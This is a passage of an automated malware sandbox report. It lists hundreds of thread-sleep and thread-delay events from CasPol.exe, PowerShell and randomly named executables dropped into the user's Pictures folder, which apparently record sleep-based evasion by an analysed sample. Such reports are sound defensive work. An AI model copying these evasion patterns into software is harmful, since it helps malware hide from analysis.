            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -595547s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -595313s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -595068s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 5996Thread sleep time: -2100000s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -594750s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -594500s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -594312s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -594125s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -593964s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -593811s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -593670s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -593516s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -593281s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -593004s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -592625s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -592438s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -592312s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -592156s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -591949s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -591796s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -591671s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -591560s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -591375s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -591249s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -591094s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -590957s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -590828s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -590469s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -590208s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -590047s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -589937s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -589803s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -589656s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -589516s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -589390s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -589248s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -589094s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -588891s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -588780s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -588653s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -588413s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -587734s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -586219s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -585938s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -585750s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -585576s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -585344s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -584969s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -584750s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -584453s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -584297s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -584047s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -583813s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -583500s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -583172s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -582906s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -582596s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -582422s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -582188s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -581953s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -581547s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -581321s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -581128s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -580875s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -580578s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -580188s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -579906s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -579764s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -579406s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -579044s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -578563s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -578338s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -578031s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -577763s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -577521s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -577154s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -576891s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -576469s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -576109s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -575781s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -575500s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -575063s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -574807s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -574547s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -574217s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -573899s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -573678s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -573078s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -572563s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -572187s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -571719s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -571317s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -568628s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -568222s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -567753s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -567200s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -566887s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -566361s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -565720s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -565173s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -564829s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -564431s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -563642s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -563017s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -562501s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -561486s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -561133s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -560704s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -560389s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -559830s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -559142s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -558689s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -558220s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -557329s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -556421s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -554874s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -553561s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -551613s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -549926s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -548660s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -547398s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -545719s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -543459s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -541676s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -539573s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -535870s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -533120s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -531120s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -529432s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -527057s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -525792s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -525120s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -523729s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -522526s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -521198s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -512881s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -508316s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -504441s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -500176s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -496369s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -495879s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -494660s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -492910s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -490707s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -489629s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -488301s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -485957s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -484097s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -482535s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -480863s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -479613s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -478207s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1104Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6864Thread sleep count: 1408 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5476Thread sleep time: -1844674407370954s >= -30000s
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5476Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe TID: 1900Thread sleep count: 61 > 30
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe TID: 7832Thread sleep count: 352 > 30
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe TID: 7832Thread sleep time: -70400s >= -30000s
            Source: C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe TID: 7328Thread sleep time: -108000s >= -30000s
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\file.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599891Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599781Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599672Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599562Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599453Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599344Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599219Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599109Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599000Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598891Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598781Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598672Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598562Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598453Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598328Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598219Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598109Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597984Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597859Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597747Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597591Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597482Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597372Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597263Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597156Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 597027Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596922Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596811Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596703Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596587Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596469Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596314Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596195Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 596031Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595886Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595725Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595547Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595313Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 595068Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 300000Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 594750Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 594500Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 594312Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 594125Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593964Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593811Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593670Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593516Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593281Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 593004Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 592625Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 592438Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 592312Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 592156Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591949Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591796Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591671Jump to behavior
